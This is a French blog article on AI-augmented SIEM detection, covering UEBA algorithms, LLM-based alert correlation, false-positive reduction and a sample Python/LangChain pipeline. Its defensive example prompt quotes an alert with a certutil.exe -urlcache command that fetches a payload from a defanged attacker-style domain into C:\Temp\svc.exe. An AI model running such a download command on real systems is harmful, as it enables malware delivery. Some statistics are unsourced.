Détection de Menaces par IA : SIEM Augmenté

Table des Matières

1 Les Limites du SIEM Traditionnel Face aux Menaces Modernes

Les SIEM traditionnels (Security Information and Event Management) ont longtemps constitué la pierre angulaire de la détection des menaces en cybersécurité. Cependant, face à l'évolution rapide des techniques d'attaque et à l'explosion du volume de données, leurs limites structurelles deviennent un handicap critique pour les SOC modernes. En 2026, la question n'est plus de savoir si votre SIEM a besoin d'IA, mais comment l'intégrer efficacement.

L'impasse des règles statiques

Les règles de détection classiques, qu'elles soient écrites en Sigma, KQL (Kusto Query Language) ou SPL (Splunk Processing Language), reposent sur des signatures et des patterns connus. Cette approche déterministe présente un défaut fondamental : elle ne détecte que ce que l'analyste a explicitement programmé. Les attaquants le savent et adaptent constamment leurs tactiques pour contourner ces règles statiques. Un simple changement de nom de processus, une technique de living-off-the-land (LOLBins) ou un enchaînement inhabituel de commandes légitimes suffisent à rendre invisibles des attaques sophistiquées.

• ▹Règles Sigma : Plus de 3 500 règles communautaires, mais chacune ne couvre qu'un pattern spécifique — les variantes passent entre les mailles du filet
• ▹Attaques zero-day : Par définition, aucune règle n'existe pour détecter ce qui n'a jamais été observé — le SIEM traditionnel est structurellement aveugle face à l'inconnu
• ▹Évolution des TTPs : Les groupes APT modifient leurs techniques toutes les 72h en moyenne, rendant obsolètes les règles statiques avant même leur déploiement
• ▹Maintenance impossible : Un SOC moyen gère 2 000 à 5 000 règles de corrélation — le tuning et la maintenance deviennent un gouffre opérationnel

Le tsunami de données et les faux positifs

Le volume de données ingérées par un SIEM a explosé de manière exponentielle. Une entreprise moyenne génère désormais entre 5 et 50 téraoctets de logs par jour — endpoints, réseaux, cloud, identités, applications SaaS. Cette volumétrie engendre un problème critique : le ratio signal/bruit s'effondre. Les études de Gartner et du SANS Institute convergent : 70 à 80 % des alertes SIEM sont des faux positifs. Les analystes SOC, submergés par ce déluge d'alertes non qualifiées, développent une fatigue d'alerte (alert fatigue) qui mène à des incidents manqués.

La pénurie de compétences et l'urgence de l'IA

Le déficit mondial de professionnels en cybersécurité dépasse 3,5 millions de postes selon (ISC)². Les SOC peinent à recruter et retenir des analystes qualifiés, alors que le volume de menaces ne cesse de croître. Cette pénurie structurelle rend impérative l'intégration d'une couche d'intelligence artificielle au-dessus du SIEM. L'IA ne remplace pas l'analyste — elle augmente ses capacités en automatisant le triage, en réduisant les faux positifs et en accélérant la corrélation d'événements complexes. Le SIEM traditionnel doit évoluer vers un SIEM augmenté, capable de raisonner, d'apprendre et de s'adapter en temps réel.

2 Architecture d'un SIEM Augmenté par IA

L'architecture d'un SIEM augmenté par IA repose sur un pipeline de détection hybride qui combine trois couches complémentaires : les règles statiques pour les menaces connues, le machine learning pour la détection comportementale, et les LLM (Large Language Models) pour la corrélation contextuelle et le raisonnement. Cette architecture multicouche garantit une couverture maximale tout en minimisant les faux positifs.

Pipeline de détection multicouche

Le flux de données traverse sept étapes distinctes, chacune ajoutant une couche d'intelligence. Tout commence par l'ingestion massive des logs depuis l'ensemble des sources (endpoints, réseau, cloud, identités, OT/IoT) via des collecteurs comme Kafka, Cribl ou Fluentd. Les événements sont ensuite normalisés au format ECS (Elastic Common Schema) ou OCSF (Open Cybersecurity Schema Framework) pour garantir une interopérabilité totale entre les couches de détection.

Intégration avec les plateformes SIEM majeures

Les trois principales plateformes SIEM du marché intègrent nativement des capacités d'IA, mais avec des approches différentes qu'il est crucial de comprendre pour choisir la bonne architecture :

• ▹Splunk AI : Machine Learning Toolkit (MLTK) + Splunk AI Assistant basé sur LLM. Permet d'écrire des requêtes SPL en langage naturel et d'intégrer des modèles de détection personnalisés via Python for Scientific Computing. Le module Splunk UBA (User Behavior Analytics) fournit un scoring de risque UEBA natif
• ▹Elastic Security + ML : Jobs d'anomaly detection intégrés (rare process execution, unusual network activity, DNS tunneling). ES|QL permet des requêtes vectorielles sur les embeddings. L'intégration avec Elastic AI Assistant (basé sur OpenAI/Bedrock) offre une corrélation LLM native
• ▹Microsoft Sentinel + Azure OpenAI : Security Copilot intégré directement dans l'interface Sentinel. KQL assisté par IA, hunting queries auto-générées, résumés d'incidents automatiques. L'intégration avec Defender XDR et Entra ID fournit un contexte identitaire riche pour l'analyse comportementale

Le data lake unifié comme fondation

La clé d'un SIEM augmenté performant est un data lake de sécurité unifié qui centralise toutes les télémétries dans un format normalisé. Des solutions comme Amazon Security Lake (basé sur OCSF), Snowflake Security Data Lake ou Google Chronicle/BigQuery offrent la scalabilité nécessaire pour stocker des pétaoctets de données avec des requêtes en temps réel. Cette architecture découplée permet d'appliquer les modèles ML et LLM sur des données historiques profondes, pas seulement sur le flux temps réel, ce qui améliore considérablement la détection des menaces persistantes avancées (APT) qui opèrent sur des semaines ou des mois.

3 UEBA et Analyse Comportementale par IA

L'UEBA (User and Entity Behavior Analytics) représente la couche de détection la plus puissante d'un SIEM augmenté. Contrairement aux règles statiques qui cherchent des patterns connus, l'UEBA modélise le comportement normal de chaque utilisateur et entité (serveur, application, service account) pour détecter les déviations significatives. Cette approche est fondamentale pour identifier les menaces qui échappent aux signatures : comptes compromis, insider threats, mouvements latéraux furtifs et exfiltration lente de données.

Algorithmes ML pour la détection comportementale

Le choix des algorithmes est déterminant pour la qualité de la détection comportementale. Chaque famille d'algorithmes excelle dans un type de détection spécifique :

• ▹Isolation Forests : Algorithme non supervisé idéal pour la détection d'anomalies dans les données multi-dimensionnelles. Il isole les points aberrants en partitionnant récursivement l'espace des features. Particulièrement efficace pour détecter les connexions depuis des géolocalisations inhabituelles, les horaires d'accès anormaux ou les volumes de transfert de données atypiques
• ▹Autoencoders (Deep Learning) : Réseaux de neurones qui apprennent à comprimer puis reconstruire les patterns normaux. L'erreur de reconstruction mesure la déviation par rapport à la normale. Les variational autoencoders (VAE) permettent de modéliser la distribution latente des comportements et de générer des scores de probabilité pour chaque événement
• ▹Transformers sur séries temporelles : Les architectures Transformer, adaptées aux séquences temporelles d'événements de sécurité, capturent les dépendances à long terme dans les sessions utilisateur. Des modèles comme PatchTST ou TimesFM (Google) excellent pour détecter les changements subtils de comportement qui s'étalent sur plusieurs jours
• ▹Graph Neural Networks (GNN) : Modélisent les relations entre entités (utilisateurs, machines, applications) comme un graphe dynamique. Détectent les mouvements latéraux en identifiant les chemins d'accès inhabituels dans le graphe de relations, même lorsque chaque action individuelle semble légitime

Cas d'usage : détection de comptes compromis

Considérons un scénario courant : un attaquant obtient les credentials d'un employé via phishing et tente de se déplacer latéralement. Le SIEM traditionnel ne voit rien — les identifiants sont valides, les connexions réussissent. L'UEBA, en revanche, détecte une constellation d'anomalies :

La construction des baselines comportementales nécessite typiquement 14 à 30 jours d'apprentissage initial. Les features les plus discriminantes incluent : les horaires d'activité, les adresses IP source, les applications accédées, les volumes de données transférés, les commandes exécutées, les patterns de navigation DNS et les relations entre entités. Le modèle doit être capable de gérer les dérives naturelles du comportement (changement de projet, voyage professionnel) sans générer de faux positifs, ce qui nécessite un mécanisme d'adaptive baseline avec une fenêtre glissante.

4 Corrélation Intelligente avec les LLM

L'intégration des Large Language Models (LLM) dans le pipeline de détection représente une avancée majeure pour la corrélation d'alertes. Là où les moteurs de corrélation traditionnels reposent sur des règles prédéfinies (si alerte A ET alerte B dans un intervalle de T minutes, alors créer incident), les LLM apportent une capacité de raisonnement contextuel qui permet de comprendre les relations causales entre des événements apparemment non liés, provenant de sources hétérogènes (SIEM, EDR, NDR, IAM, CASB).

Raisonnement causal multi-sources

Le raisonnement causal est la capacité la plus transformatrice des LLM dans le contexte SIEM. Prenons un exemple concret : le SIEM reçoit trois alertes distinctes en 45 minutes — (1) une alerte EDR pour l'exécution de certutil.exe -urlcache sur un poste utilisateur, (2) une alerte NDR pour une connexion sortante vers un domaine de 3 jours d'ancienneté, (3) une alerte IAM pour la création d'un nouveau service account avec privilèges élevés. Un moteur de corrélation classique traiterait ces trois alertes indépendamment. Le LLM, alimenté par ces trois alertes et leur contexte, reconstruit la chaîne d'attaque complète : téléchargement d'un payload (T1105), communication C2 (T1071), persistence via service account (T1136.002).

# Exemple de prompt LLM pour corrélation d'alertes
SYSTEM_PROMPT = """Tu es un analyste SOC L3 expert en threat hunting.
Analyse les alertes suivantes et détermine :
1. S'il existe une relation causale entre elles
2. La chaîne d'attaque probable (MITRE ATT&CK)
3. Le niveau de confiance de ta corrélation (0-100)
4. Les actions de réponse recommandées
Réponds en JSON structuré."""

USER_PROMPT = """
Alertes à analyser (fenêtre: 45 minutes) :
---
Alerte 1 [EDR - CrowdStrike]: Process certutil.exe -urlcache
  Host: WKS-JDUPONT | User: jdupont | Time: 14:23:07
  CommandLine: certutil.exe -urlcache -split -f
    https://cdn-update[.]com/svchost.dat C:\Temp\svc.exe

Alerte 2 [NDR - Vectra]: Outbound connection to young domain
  Source: 10.0.15.42 (WKS-JDUPONT) | Dest: 185.234.xx.xx
  Domain: cdn-update[.]com (registered 3 days ago)
  Protocol: HTTPS | Bytes: 2.3MB outbound

Alerte 3 [IAM - Entra ID]: New service account created
  Creator: jdupont@corp.fr | Account: svc-backup-02$
  Privileges: Domain Admins added | Time: 14:52:31
---
Contexte utilisateur: jdupont est comptable, jamais
vu exécuter certutil ni créer de service accounts."""

Mapping automatique MITRE ATT&CK

Le mapping automatique des alertes au framework MITRE ATT&CK est un cas d'usage où les LLM surpassent considérablement les approches classiques. Les moteurs de règles traditionnels ne peuvent mapper que les techniques explicitement codées dans chaque règle de détection. Le LLM, grâce à sa connaissance approfondie du framework ATT&CK (14 tactiques, 201 techniques, 424 sous-techniques dans la version 15), peut inférer les techniques probables même à partir d'alertes ambiguës. Par exemple, l'observation d'un processus schtasks /create /sc ONLOGON sera automatiquement mappée à T1053.005 (Scheduled Task/Job) avec la tactique Persistence, tout en vérifiant les corrélations avec d'autres techniques de la même phase d'attaque.

Génération automatique de résumés et timelines

Au-delà de la corrélation, les LLM transforment la manière dont les incidents sont documentés et communiqués. Pour chaque incident corrélé, le LLM génère automatiquement : (1) un résumé exécutif en langage naturel pour les managers et le RSSI, (2) une timeline technique détaillée avec les événements ordonnés chronologiquement et mappés ATT&CK, (3) des recommandations de réponse contextualisées basées sur le type d'attaque identifié, (4) un rapport d'investigation prêt pour le handoff vers l'équipe de réponse à incident. Cette automatisation réduit le temps de documentation de 45 minutes à 30 secondes par incident, libérant les analystes pour l'investigation active.

5 Réduction des Faux Positifs par IA

La réduction des faux positifs est l'argument économique le plus convaincant pour l'adoption d'un SIEM augmenté par IA. Les études terrain montrent une réduction de 70% à 15% du taux de faux positifs après intégration des couches ML et LLM, ce qui représente une transformation radicale de l'efficacité opérationnelle du SOC. Cette section détaille les techniques, les métriques et le ROI mesurable de cette approche.

Classification supervisée avec feedback loop

La première technique repose sur un modèle de classification supervisée entraîné sur les décisions historiques des analystes. Chaque alerte traitée par un analyste (confirmée comme vraie positive, écartée comme faux positif, ou escaladée) alimente un dataset d'entraînement. Les features utilisées incluent : le type d'alerte, la source, l'heure, le score de risque de l'entité, le contexte réseau, le nombre d'alertes corrélées, et les métadonnées de la règle de détection. Des algorithmes comme XGBoost, LightGBM ou des réseaux de neurones légers atteignent des accuracies de 90 à 95% sur la classification vrai/faux positif après 3 à 6 mois de feedback.

LLM comme analyste L1 automatisé

L'utilisation d'un LLM comme analyste de niveau 1 automatisé représente l'approche la plus disruptive. Le LLM reçoit chaque alerte enrichie de son contexte complet (informations sur l'entité, historique récent, baseline comportementale, IOC connus, vulnérabilités de l'asset) et produit une évaluation structurée : classification (vrai positif probable / faux positif probable / indéterminé), niveau de confiance, justification détaillée et action recommandée. Les expérimentations menées par des SOC de grandes entreprises montrent que le LLM atteint un taux d'accord de 87% à 93% avec les décisions d'analystes L2/L3, tout en réduisant le temps de triage de 15-20 minutes à 10 secondes par alerte.

ROI mesurable et métriques clés

Les métriques de performance d'un système de détection par IA doivent être suivies rigoureusement pour justifier l'investissement et piloter l'amélioration continue :

• ▹Précision (Precision) : Proportion d'alertes signalées qui sont réellement des vrais positifs. Passe typiquement de 30% (SIEM classique) à 85% (SIEM augmenté) — chaque alerte escaladée a une forte probabilité d'être un vrai incident
• ▹Rappel (Recall) : Proportion des vrais incidents effectivement détectés. L'IA améliore le rappel de 65% à 92% en détectant les menaces subtiles que les règles statiques manquent, notamment via l'analyse comportementale UEBA
• ▹F1-Score : Moyenne harmonique de la précision et du rappel, mesure l'équilibre global de la détection. L'amélioration de 41% à 88% reflète la transformation qualitative du pipeline de détection
• ▹ROI financier : Un SOC de 15 analystes économise en moyenne 4 à 6 ETP (Équivalent Temps Plein) grâce à l'automatisation du triage L1, soit 400K à 700K euros par an. Le coût d'une plateforme SIEM augmentée (licences ML + LLM API) est typiquement de 150K à 300K euros/an, générant un ROI positif dès la première année

6 Implémentation Pratique : Pipeline de Détection IA

Passons de la théorie à la pratique avec une implémentation complète d'un pipeline de détection augmenté par IA. Ce pipeline utilise LangChain pour l'orchestration LLM, Elasticsearch comme backend SIEM, et un modèle de classification ML pour le scoring. L'objectif est de construire un système qui ingère les alertes SIEM, les enrichit, les corrèle via LLM, et produit des incidents qualifiés prêts pour l'investigation.

Pipeline de détection complet

# pipeline_detection_ia.py — Pipeline de détection SIEM augmenté
import json
from datetime import datetime, timedelta
from elasticsearch import Elasticsearch
from langchain_openai import ChatOpenAI
from langchain_core.prompts import ChatPromptTemplate
from langchain_core.output_parsers import JsonOutputParser
from pydantic import BaseModel, Field
from typing import List, Optional
import numpy as np
from sklearn.ensemble import GradientBoostingClassifier

# Modèle de sortie structuré pour le LLM
class CorrelatedIncident(BaseModel):
    title: str = Field(description="Titre de l'incident")
    severity: str = Field(description="critical/high/medium/low")
    confidence: float = Field(description="Score 0-100")
    mitre_tactics: List[str] = Field(description="Tactiques ATT&CK")
    mitre_techniques: List[str] = Field(description="Techniques ATT&CK")
    kill_chain_phase: str = Field(description="Phase Cyber Kill Chain")
    summary: str = Field(description="Résumé exécutif")
    timeline: List[str] = Field(description="Timeline événements")
    response_actions: List[str] = Field(description="Actions recommandées")

class SIEMAugmenteIA:
    """Pipeline de détection SIEM augmenté par IA."""

    def __init__(self, es_url, openai_key, model="gpt-4o"):
        self.es = Elasticsearch(es_url)
        self.llm = ChatOpenAI(
            model=model, temperature=0,
            api_key=openai_key
        )
        self.parser = JsonOutputParser(
            pydantic_object=CorrelatedIncident
        )
        self.correlation_prompt = ChatPromptTemplate.from_messages([
            ("system", CORRELATION_SYSTEM_PROMPT),
            ("human", "{alerts_context}")
        ])
        self.chain = (
            self.correlation_prompt | self.llm | self.parser
        )

    def fetch_alerts(self, window_minutes=60):
        """Récupère les alertes récentes depuis Elastic."""
        query = {
            "bool": {
                "must": [
                    {"range": {"@timestamp": {
                        "gte": f"now-{window_minutes}m"}}},
                    {"term": {"event.kind": "alert"}}
                ]}}
        return self.es.search(
            index="siem-alerts-*",
            query=query, size=500,
            sort=[{"@timestamp": "desc"}]
        )

    def correlate_with_llm(self, alert_group):
        """Corrèle un groupe d alertes via LLM."""
        context = self._format_alerts(alert_group)
        return self.chain.invoke({
            "alerts_context": context
        })

    def run_pipeline(self):
        """Exécute le pipeline complet."""
        alerts = self.fetch_alerts()
        groups = self._group_by_entity(alerts)
        incidents = []
        for entity, group in groups.items():
            if len(group) >= 2:  # Corrèle si 2+ alertes
                incident = self.correlate_with_llm(group)
                if incident["confidence"] > 70:
                    incidents.append(incident)
        return incidents

Configuration des seuils et tuning

Le tuning du pipeline de détection IA est un processus itératif qui nécessite une collaboration étroite entre data scientists et analystes SOC. Les seuils critiques à calibrer incluent :

• ▹Seuil de confiance LLM : Les incidents avec une confiance > 85% sont automatiquement envoyés au playbook SOAR. Entre 60% et 85%, ils sont placés dans la queue d'investigation L2. En dessous de 60%, ils sont archivés comme informatifs
• ▹Fenêtre de corrélation : La fenêtre temporelle optimale pour grouper les alertes est généralement de 60 à 120 minutes. Trop courte, elle rate les attaques lentes ; trop longue, elle génère des corrélations parasites
• ▹Score de risque UEBA : Les baselines doivent être recalculées hebdomadairement avec une fenêtre glissante de 30 jours. Les anomalies dont le z-score dépasse 3 sigmas déclenchent une alerte comportementale

Monitoring et observabilité du pipeline

Un pipeline de détection IA nécessite son propre système de monitoring pour garantir sa fiabilité et détecter les dérives de performance :

# Métriques Prometheus pour le pipeline IA
from prometheus_client import (
    Counter, Histogram, Gauge, Summary
)

# Compteurs de volume
alerts_ingested = Counter(
    'siem_ai_alerts_ingested_total',
    'Alertes ingérées par le pipeline',
    ['source', 'severity']
)
incidents_created = Counter(
    'siem_ai_incidents_created_total',
    'Incidents corrélés créés',
    ['severity', 'mitre_tactic']
)

# Latences
llm_latency = Histogram(
    'siem_ai_llm_correlation_seconds',
    'Latence corrélation LLM',
    buckets=[0.5, 1, 2, 5, 10, 30]
)

# Qualité
false_positive_rate = Gauge(
    'siem_ai_false_positive_rate',
    'Taux de faux positifs (rolling 7d)'
)
model_confidence = Summary(
    'siem_ai_model_confidence',
    'Distribution des scores de confiance'
)

7 Le Futur de la Détection par IA

La détection de menaces par IA n'en est qu'à ses débuts. Les avancées rapides en matière de modèles de fondation, d'agents autonomes et d'apprentissage fédéré dessinent un futur où la détection sera non seulement plus rapide et plus précise, mais aussi prédictive. Voici les tendances qui transformeront la détection de menaces dans les 2 à 5 prochaines années.

Agents autonomes de détection

Les agents IA autonomes de détection représentent la prochaine rupture technologique. Contrairement aux systèmes actuels qui exécutent des pipelines prédéfinis, ces agents seront capables de définir dynamiquement leur propre stratégie de détection. Un agent de threat hunting autonome pourrait, par exemple, observer une légère anomalie dans les requêtes DNS, décider de croiser cette information avec les logs d'authentification Active Directory, puis vérifier les flux réseau vers les IP concernées — le tout sans intervention humaine ni règle prédéfinie. Des frameworks comme AutoGPT, CrewAI et LangGraph commencent à être adaptés pour ces cas d'usage, avec des architectures multi-agents où chaque agent se spécialise dans un domaine (réseau, endpoint, identité, cloud) et collabore avec les autres pour reconstituer les chaînes d'attaque complexes.

Détection multimodale et fusion de télémétries

La détection multimodale unifie les signaux provenant de toutes les couches de l'infrastructure — réseau (NDR), endpoint (EDR), cloud (CNAPP), identité (ITDR) et email (SEG) — dans un modèle de détection unique. Les architectures Transformer multimodaux, inspirés des modèles vision-langage, sont adaptés pour traiter simultanément des flux de données de natures différentes (séries temporelles réseau, logs structurés, données textuelles d'emails, graphes de relations). Microsoft avec Defender XDR, Google avec Chronicle Security Operations et CrowdStrike avec Charlotte AI investissent massivement dans cette convergence. L'objectif est une détection qui comprend l'attaque dans sa globalité, pas uniquement ses manifestations individuelles dans chaque silo.

Federated learning pour partage inter-SOC

Le federated learning (apprentissage fédéré) résout un dilemme fondamental de la cybersécurité : comment bénéficier de l'intelligence collective de milliers de SOC sans exposer les données sensibles de chaque organisation ? Avec cette approche, chaque SOC entraîne un modèle de détection local sur ses propres données, puis partage uniquement les gradients du modèle (pas les données) avec un serveur d'agrégation central. Le modèle global, enrichi par les observations de tous les participants, est redistribué à chacun. Cette architecture permet à un petit SOC de bénéficier de la connaissance des menaces détectées par des centaines d'organisations, tout en garantissant la confidentialité totale des données. Des initiatives comme MISP (Malware Information Sharing Platform) évoluent vers des modèles de partage ML fédéré, et des startups comme Opaque Systems proposent des plateformes d'entraînement confidentielles basées sur des enclaves sécurisées (Intel SGX, ARM TrustZone).

De la détection réactive à la prédiction proactive

Le graal de la détection par IA est le passage de la détection réactive (identifier une attaque en cours) à la prédiction proactive (anticiper une attaque avant qu'elle ne se produise). Les modèles prédictifs analysent les signaux faibles — activité de reconnaissance sur les infrastructures exposées, mentions de l'organisation sur les forums darknet, vulnérabilités non patchées corrélées aux exploits actifs, patterns de spear-phishing ciblant le secteur — pour calculer un score de menace prédictif. Des modèles de séries temporelles probabilistes comme DeepAR (Amazon) ou Temporal Fusion Transformers peuvent prédire la probabilité d'une attaque dans les prochaines 24 à 72 heures avec une précision croissante. Combinés aux digital twins de l'infrastructure, ces modèles permettent de simuler les scénarios d'attaque les plus probables et de pré-positionner les défenses avant l'impact.

À Propos de l'Auteur

Ayi NEDJIMI • Expert Cybersécurité & IA

Ayi NEDJIMI est un expert senior en cybersécurité offensive et intelligence artificielle avec plus de 20 ans d'expérience en développement avancé, tests d'intrusion et architecture de systèmes critiques. Spécialisé en rétro-ingénierie logicielle, forensics numériques et développement de modèles IA, il accompagne les organisations stratégiques dans la sécurisation d'infrastructures hautement sensibles.

Expert reconnu en expertises judiciaires et investigations forensiques, Ayi intervient régulièrement en tant que consultant expert auprès des plus grandes organisations françaises et européennes. Son expertise technique couvre l'audit Active Directory, le pentest cloud (AWS, Azure, GCP), la rétro-ingénierie de malwares, ainsi que l'implémentation de solutions RAG et bases vectorielles (Milvus, Qdrant, Weaviate) pour des applications IA d'entreprise.

20+Ans d'expérience

100+Missions réalisées

150+Articles & conférences

Conférencier et formateur reconnu en cybersécurité, Ayi anime régulièrement des conférences techniques et participe activement au développement de modèles d'intelligence artificielle pour la détection de menaces avancées. Auteur de plus de 150 publications techniques, il partage son expertise de haut niveau pour aider les RSSI et architectes sécurité à anticiper les cybermenaces émergentes et déployer des solutions IA de nouvelle génération.

📚 Tous ses articles 🛡️ Demander un audit 💼 LinkedIn